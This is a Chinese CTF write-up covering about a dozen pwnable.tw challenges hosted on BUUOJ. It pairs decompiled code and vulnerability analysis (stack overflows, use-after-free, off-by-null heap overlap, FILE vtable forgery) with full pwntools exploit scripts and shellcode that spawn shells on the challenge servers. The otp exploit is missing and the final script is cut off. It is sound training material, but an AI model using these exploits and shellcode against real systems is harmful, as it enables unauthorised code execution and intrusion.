pwnable.tw BUUOJ WriteUp

我实在 buu 上面刷的,所以环境、顺序原来的网址有区别

pwnable_orw

  • checksec
1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
  • IDA

orw_seccomp

沙箱开启

6EQvv9.png

如何题意,只能执行open read write三种函数

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
(shellcode)();
return 0;
}

执行我们输入的字符串,意思就是写orw_shellcode读flag

  • EXP

可以当orw祖传shellcode

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26098)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
p.recvuntil("Give my your shellcode:")
p.sendline(shellcode)
p.interactive()

pwnable_start

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
  • IDA

程序修改了入口函数,这样就只有start段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public _start
proc near ; DATA XREF: LOAD:08048018↑o
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 20 ; len
mov bl, 1 ; fd
mov al, 4 ; syscall(write)
int 80h ; LINUX - sys_write
xor ebx, ebx ; ebx清零
mov dl, 60 ; len
mov al, 3 ; syscall(read)
int 80h ; LINUX -
add esp, 14h
retn
endp ; sp-analysis failed

发现read和write都使用了int 80h系统调用和 dl寄存器, dl寄存器是16位下的edx寄存器

6E1kd0.png

调试发现向下写20字节就可以覆盖EIP寄存器,从而返回地址

思路

主要是向程序写入shellcode,这样就要先泄露要写入的地址,然后在把EIP改为shellcode的地址,然后写入shellcode

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = "debug"
p = process('./start')
# p = remote("node3.buuoj.cn",27809)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
print(payload)
leak=u32(p.recv(4));
print(hex(leak))
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload= 'a'*20 + p32(leak+20)+shellcode
p.send(payload)
p.interactive()

pwnable_hacknote

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

是一个堆得题,远程环境Ubuntu 16

menu菜单

1
2
3
4
5
6
7
8
9
10
11
12
int MENU()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

delete删除功能

1
2
3
4
5
6
if ( ptr[v1] )
{
free(*(ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

uaf漏洞

思路

利用uaf泄露libc_base,然后在该read为system

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

p = remote("chall.pwnable.tw", 10102)
elf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
read_got = elf.got["read"]
pfputs = 0x804862b

def add_note(size,index):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(size)
p.recvuntil("Content :")
p.sendline(index)

def delete_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)

def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)

add_note("16","aaaaa")
add_note("16","aaaaa")
delete_note('0')
delete_note('1')
add_note('8',p32(pfputs)+p32(read_got))
print_note('0')
pfread = u32(p.recv()[:4])
pfsys = pfread - libc.symbols["read"] + libc.symbols["system"]
delete_note('2')
add_note('8',p32(pfsys)+";sh\x00")
print_note('0')
p.interactive()

pwnable_asm

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • IDA

main

1
2
3
4
5
6
printf("give me your x64 shellcode: ", stub, argv);
read(0, s + 46, 0x3E8uLL);
alarm(0xAu);
chroot("/home/asm_pwn");
sandbox();
(s)("/home/asm_pwn");

和orw差不多,只不过文件名变长了,而且是64位的

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = "debug"
context.arch = 'amd64'
context.os = 'linux'

if sys.argv[1] == "l":
sh = process("./asm")
else:
sh = remote("node3.buuoj.cn","29455")
shellcode = shellcraft.pushstr("flag")
shellcode += shellcraft.open("rsp")
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

sh.sendlineafter("shellcode: ", asm(shellcode))
print sh.recvall()
sh.close()

pwnable_simple_login

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

auth

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int base64len)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF

memcpy(&v4, &input, base64len); // 栈溢出
s2 = (char *)calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

payload要用base64编码后再发出

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import sys
import base64

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

input_addr=0x0811EB40
correct_addr=0x08049284

sh.recvuntil(":")
payload='a'*4+p32(correct_addr)+p32(input_addr)
sh.send(payload.encode('base64'))
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","28273",0,1)

pwnable_calc

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int calc()
{
int pool; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char equation; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]

v4 = __readgsdword(0x14u); // 计算 1+(2*1)
while ( 1 )
{
bzero(&equation, 0x400u);
if ( !get_expr(&equation, 1024) ) // equation变为 1+(2*1) + ( * )
break;
init_pool(&pool); // 计算池清0
if ( real_calc(&equation, &pool) ) // 开始计算
{
printf("%d\n", v2[pool - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}

这里我改变了一些变量名,然后这个逆向过程很复杂,但是发现这可能是一个大家都熟悉的过程:数据结构:栈->逆波兰式(后缀表达式)的计算

首先需要分配2个栈,一个作为临时存储运算符的栈S1(含一个结束符号),一个作为存放结果(逆波兰式)的栈S2(空栈),S1栈可先放入优先级最低的运算符#,注意,中缀式应以此最低优先级的运算符结束。可指定其他字符,不一定非#不可。从中缀式的左端开始取字符,逐序进行如下步骤:

(1)若取出的字符是操作数,则分析出完整的运算数,该操作数直接送入S2栈。

(2)若取出的字符是运算符,则将该运算符与S1栈栈顶元素比较,如果该运算符(不包括括号运算符)优先级高于S1栈栈顶运算符(包括左括号)优先级,则将该运算符进S1栈,否则,将S1栈的栈顶运算符弹出,送入S2栈中,直至S1栈栈顶运算符(包括左括号)低于(不包括等于)该运算符优先级时停止弹出运算符,最后将该运算符送入S1栈。

(3)若取出的字符是“(”,则直接送入S1栈顶。

(4)若取出的字符是“)”,则将距离S1栈栈顶最近的“(”之间的运算符,逐个出栈,依次送入S2栈,此时抛弃“(”。

(5)重复上面的1~4步,直至处理完所有的输入字符。

(6)若取出的字符是“#”,则将S1栈内所有运算符(不包括“#”),逐个出栈,依次送入S2栈。

完成以上步骤,S2栈便为逆波兰式输出结果。不过S2应做一下逆序处理。便可以按照逆波兰式的计算方法计算了!

下面以(a+b)*c为例子进行说明:

(a+b)c的逆波兰式为ab+c,假设计算机把ab+c按从左到右的顺序压入栈中,并且按照遇到就把栈顶两个元素出栈,执行运算,得到的结果再入栈的原则来进行处理,那么ab+c的执行结果如下:

1)a入栈(0位置)

2)b入栈(1位置)

3)遇到运算符“+”,将a和b出栈,执行a+b的操作,得到结果d=a+b,再将d入栈(0位置)

4)c入栈(1位置)

5)遇到运算符“”,将d和c出栈,执行dc的操作,得到结果e,再将e入栈(0位置)

经过以上运算,计算机就可以得到(a+b)*c的运算结果e了。

漏洞点

get_expr

1
2
3
4
5
6
7
8
while ( expr_counter < const_1024 && read(0, &expr, 1) != -1 && expr != '\n' )
{
if ( expr == '+' || expr == '-' || expr == '*' || expr == '/' || expr == '%' || expr > '/' && expr <= '9' )
{
i = expr_counter++;
*(equation + i) = expr; // 在计算式后面更上 加减。。
}
}

获取表达式时,没有对左值检验,所以我们可以第一个就是运算符

6VFDqe.png

所以这样运算就会有问题

+100这样的计算来举例,程序计算过程如下

get_expr(&equation, 1024)

equation:**+100+**

real_calc(&equation, &pool)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
equation_cpy = i + 1 + equation;
if ( expr[j] ) // expr -> + ( * )
{
switch ( *(i + equation) ) // 读取运算符号
// 分别左值计算和右值计算
{
case '%':
case '*':
case '/':
if ( expr[j] != '+' && expr[j] != '-' )
{
eval(calc_pool, expr[j]);
expr[j] = *(i + equation);
}
else
{
expr[++j] = *(i + equation);
}
break;
case '&':
case '\'':
case '(':
case ')':
case ',':
case '.':
eval(calc_pool, expr[j--]); // eval(calc_pool, +);
break;
case '+':
case '-':
eval(calc_pool, expr[j]); // eval(calc_pool, +);
// calc_pool ->
// reslut
// 1
// 2
// 1
expr[j] = *(i + equation); // 运算符为下一个
break;
}
}
else
{
expr[j] = *(i + equation);
}
if ( !*(i + equation) )
break;
}

下个断点

ZsdS1a

eval(_DWORD *pools, char expr)

1
2
3
4
if ( expr == '+' )
{
pools[*pools - 1] += pools[*pools]; // pools[0]+=1
}

运行后

1
2
3
4
if ( expr == '+' )
{
pools[*pools - 1] += pools[*pools]; // pools[0]+=1
}

pools = 0xffffca88

*pools = 0x64

pools[*pools - 1] = 0xffffca88+4*0x64 = 0xffffcc18

*0xffffcc18 = 0x3030312b00000000

这样我们就可以利用数组一处进行任意地址读、写

stack

我们按照栈的格式伪造一个栈来执行/bin/sh

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

p=remote("node3.buuoj.cn","27237")
#p = process('./calc.dms')

keys=[0x0805c34b,0xb,0x080701d1,0,0,0x08049a21,u32('/bin'),u32('/sh\0')]

def leak_binsh_addr():
p.recv(1024)
p.sendline('+'+str(360))
ebp_addr = int(p.recv())
rsp_addr =((ebp_addr+0x100000000)&0xFFFFFFF0)-16
binsh_addr = rsp_addr+20-0x100000000
return binsh_addr

def write_stack(addr,content):
p.sendline('+'+str(addr))
recv = int(p.recv())
if content < recv:
recv = recv - content
p.sendline('+'+str(addr)+'-'+str(recv))

else:
recv = content-recv
p.sendline('+'+str(addr)+'+'+str(recv))
p.recv()

keys[4] = leak_binsh_addr()

for i in range(8):
write_stack(361+i,keys[i])

p.sendline('bye\n')
p.interactive()

pwnable_seethefile

记录一下, 64位ubuntu16在本地进行动态调试32位程序的的时候算出来的libc基址与目标文件的libc基址不一样, 要一样的话应该要搭一个docker去调试

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

main

1
2
3
4
5
6
7
8
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
return result;
1
2
3
4
5
6
7
.bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends

在bss段上面有溢出,可以移除到fp,fp是文件的指针,fclose底层实现也会调用vtable的函数,可以伪造IO_FILE,把其中的vtable中的fclose的实现改为system,再填入参数就可以getshell

1
2
pwndbg> x/wx 0x804B280
0x804b280 <fp>: 0x0804c410
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg>  p *(struct _IO_FILE_plus *) 0x0804c410
$2 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb3cc0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb2ac0 <_IO_file_jumps>
}

伪造的IO_file_jumps

1
2
3
4
5
6
7
layout = [
0,0,
libc_base + libc.symbols['system'], 0,
0, 0, 0, 0,
elf.symbols['name'] + 0x28, 0,
u32('\x80\x80||'), u32('sh\0\0'),
]

dsad

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc=ELF('./libc_32.so.6')
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def cmd(ch):
sla("Your choice :",ch)

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

cmd(1)
sla("What do you want to see :","/proc/self/maps")
cmd(2)
cmd(3)
#cmd(2)
#cmd(3)
ru("[heap]\n")
addr = ru("-")[:-1]
libc_base = int(addr,16)+0x1000
lg("libc_base",libc_base)
system = libc_base + libc.sym["system"]
lg("libc_base",libc_base)
lg("system",system)

layout = [
0,0,
libc_base + libc.symbols['system'], 0,
0, 0, 0, 0,
elf.symbols['name'] + 0x28, 0,
u32('\x80\x80||'), u32('sh\0\0'),
]

cmd(5)
gdb.attach(sh,"b *0x8048AF5")
sla("Leave your name :", flat(layout).ljust(0x94 + 0x28, '\0') + p32(elf.symbols['name']))
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25088",0,1)

pwnable_otp

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
v13 = __readfsqword(0x28u);
if ( argc == 2 )
{
fd = open("/dev/urandom", 0, envp, argv);
if ( fd == -1 )
exit(-1);
if ( (unsigned int)read(fd, &buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
sprintf(&s, "/tmp/%llu", buf);
stream = fopen(&s, "w");
if ( !stream )
exit(-1);
fwrite(&v7, 8uLL, 1uLL, stream);
fclose(stream);
puts("OTP generated.");
ptr = 0LL;
v10 = fopen(&s, "r");
if ( !v10 )
exit(-1);
fread(&ptr, 8uLL, 1uLL, v10); //vuln
fclose(v10);
v4 = strtoul(*(const char **)(v5 + 8), 0LL, 16);
if ( v4 == ptr )
{
puts("Congratz!");
system("/bin/cat flag");
}
else
{
puts("OTP mismatch");
}
unlink(&s);
result = 0;
}
else
{
puts("usage : ./otp [passcode]");
result = 0;
}
return result;

fread(&ptr, 8uLL, 1uLL, v10);

如果能够打开文件成功但是读取文件中内容的时候失败就能获取shell

考点是ulimit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
ULIMIT(3)                   Linux Programmer's Manual                   ULIMIT(3)

NAME
ulimit - get and set user limits

SYNOPSIS
#include <ulimit.h>

long ulimit(int cmd, long newlimit);

DESCRIPTION
Warning: This routine is obsolete. Use getrlimit(2), setrlimit(2), and
sysconf(3) instead. For the shell command ulimit(), see bash(1).

The ulimit() call will get or set some limit for the calling process. The
cmd argument can have one of the following values.

UL_GETFSIZE
Return the limit on the size of a file, in units of 512 bytes.

UL_SETFSIZE
Set the limit on the size of a file.

3 (Not implemented for Linux.) Return the maximum possible address
of the data segment.

4 (Implemented but no symbolic constant provided.) Return the maxi‐
mum number of files that the calling process can open.

RETURN VALUE
On success, ulimit() returns a nonnegative value. On error, -1 is
returned, and errno is set appropriately.

ERRORS
EPERM A unprivileged process tried to increase a limit.

ATTRIBUTES
For an explanation of the terms used in this section, see attributes(7).

┌──────────┬───────────────┬─────────┐
│Interface │ Attribute │ Value │
├──────────┼───────────────┼─────────┤
│ulimit() │ Thread safety │ MT-Safe │
└──────────┴───────────────┴─────────┘

CONFORMING TO
SVr4, POSIX.1-2001. POSIX.1-2008 marks ulimit() as obsolete.

ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。

作为临时限制,ulimit 可以作用于通过使用其命令登录的 shell 会话,在会话终止时便结束限制,并不影响于其他 shell 会话。而对于长期的固定限制,ulimit 命令语句又可以被添加到由登录 shell 读取的文件中,作用于特定的 shell 用户。

链接:https://man.linuxde.net/ulimit

设置shell所能创建的最大文件为0

  • EXP

pwnable_silverbullet

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

得到两个结构体

1
2
3
4
5
struct bullet
{
char desc[0x30];
size_t size;
};
1
2
3
4
5
struct struct_werewolf
{
_DWORD HP;
char *Name;
};

power_up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(bullet *bullet)
{
char s; // [esp+0h] [ebp-34h]
size_t size; // [esp+30h] [ebp-4h]

size = 0;
memset(&s, 0, 0x30u);
if ( !bullet->desc[0] )
return puts("You need create the bullet first !");
if ( bullet->size > 0x2F )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 0x30 - bullet->size);
strncat(bullet->desc, &s, 0x30 - bullet->size);
size = strlen(&s) + bullet->size;
printf("Your new power is : %u\n", size);
bullet->size = size;
return puts("Enjoy it !");
}

strncat(bullet->desc, &s, 0x30 - bullet->size);

strncat 会自动在末尾追加 \x00 造成栈溢出覆盖 bullet->size 的值,之后再此调用这个函数导致栈溢出

这里的 bullet 是在 main函数栈上面的,所以必须当main返回时,才能实现ret跳转

1
2
if ( beat(&s, &werewolf) )
return 0;

这里就必须打败werewolf,我们的栈溢出才有效果

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc=ELF("libc-2.23.so")
# libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def create(desc):
sla("Your choice :",'1')
sa("Give me your description of bullet :",desc)

def power(desc):
sla("Your choice :",'2')
sa("bullet :",desc)

def beat():
sla("Your choice :",'3')


def exp(fun,param):
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(fun)+p32(elf.sym["main"])+p32(param))
beat()

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

exp(elf.plt['puts'],elf.got['puts'])

ru('Oh ! You win !!\n')
puts = u32(sh.recv(4))
lg("puts",puts)
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
lg("system",system)
lg("bin_sh",bin_sh)
exp(system,bin_sh)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","29908",0,1)

pwnable_echo1

  • checksec
1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
  • IDA

这道题函数表比较多,其实就是一个简单的栈溢出+shellcode

开始把”jmp rsp”写上去,再把shellcode写再bss上面,再利用跳转去执行

echo1

1
2
3
4
5
6
7
8
9
10
__int64 echo1()
{
char s; // [rsp+0h] [rbp-20h]

(*(o + 3))(o);
get_input(&s, 0x80); // 栈溢出
puts(&s);
(*(o + 4))(o, 0x80LL); // printf("goodby %s",o)
return 0LL;
}
  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
context.arch='amd64'
context.os='linux'
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

id = 0x6020A0
sla(": ",asm("jmp rsp"))
sla("> ","1")
paylaod = "a"*0x28
paylaod += p64(id)+asm(shellcraft.sh())
sh.send(paylaod)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25964",0,1)

pwnable_secret_of_my_heart

  • checksec

checksec.png

  • IDA 反汇编

add函数可以看到结构体

1
2
3
4
5
struct chunk{
__int64 size;
char name[0x20];
char *desc;
}

然后又全局变量 0x202018 ,每0x30个写入一个chunk结构体,那就是一个chunk结构体数组,chunk *dword_202018
漏洞点 vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__fastcall vuln(chunk *chunks, __int64 size)
{
char *result; // rax

chunks->size = size;
printf("Name of heart :");
input(chunks->name, 0x20u);
chunks->desc = malloc(size);
if ( !chunks->desc )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
result = &chunks->desc[input(chunks->desc, size)];
*result = 0; // 字节最后加上\x00
return result;
}

最后一个字节off by null漏洞

  • 利用思路

程序存在off by null,可以把下一个chunk->size的低位覆盖为0

  • libc泄露

造成堆块重叠泄露libc
大致原理如下图
off by null

1
2
3
4
5
6
7
add(0x28...); #0
add(0x100,"a"*0xf0+p64(0x100)); #1
add(0x100...); #2

free(1)
free(0)
add(0x28,"a"*0x28) #0

这样把chunk1->size=0x100
chunk2->prevsize = 0x100
heap-1
再把chunk分步申请回来

1
2
add(0x80,"4"*4,"b"*4) #1
add(0x10,"4"*4,"b"*4) #3

heap-2
按照上面的原理图

1
2
free(1)
free(2)

这样我们就可以得到 chunk1 到 chunk2的堆块
heap-3
这样后面分配后chunk会慢慢合并在一起

1
2
3
add(0x80,"1111","g"*0x80) #idx1
add(0x100,"2222","h"*0x68+p64(0x1234)) #idx2
add(0x80,"4444","i"*0x80) #idx4

heap-4
之前的restchunk也被分配过来了,chunk2和chunk3都是同一个chunk

1
2
free(2)
show(3)

这样就可以泄露libc

  • 攻击

之后用unsotedbin attack把malloc_hook该one_gadget就行

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

def cmd(ch):
sla("Your choice :",ch)

def add(size,name,text):
cmd(1)
sla("Size of heart : ",size)
sa("Name of heart :",name)
sa("secret of my heart :",text)

def show(idx):
cmd(2)
sla("Index :",idx)

def free(idx):
cmd(3)
sla("Index :",idx)


def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

add(0x28,"1"*4,"a"*4)#0
add(0x100,"2"*4,"a"*0xf0+p64(0x100))#1
add(0x100,"3"*4,"a"*4)#2

free(1)
free(0)

add(0x28,"1"*4,"a"*0x28)#1
add(0x80,"4"*4,"b"*4)#2
add(0x10,"4"*4,"b"*4)#3

gdb.attach(sh)
raw_input()

free(1)
free(2)

add(0x80,"1111","g"*0x80) #idx1
add(0x100,"2222","h"*0x68+p64(0x1234)) #idx2
add(0x80,"4444","i"*0x80) #idx4

free(2)
show(3)

libc_base = u64(ru("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
malloc_addr = libc_base + libc.sym['__malloc_hook']
one = libc_base + one[2]
lg("malloc_addr" ,malloc_addr)
lg("one gaget ",one )

free(1)
add(0x100, "a"*4,"e"*0x80+p64(0)+p64(0x71))

free(3)
free(1)

add(0x100,"a"*4, "f"*0x80+p64(0)+p64(0x71)+p64(malloc_addr-0x23))
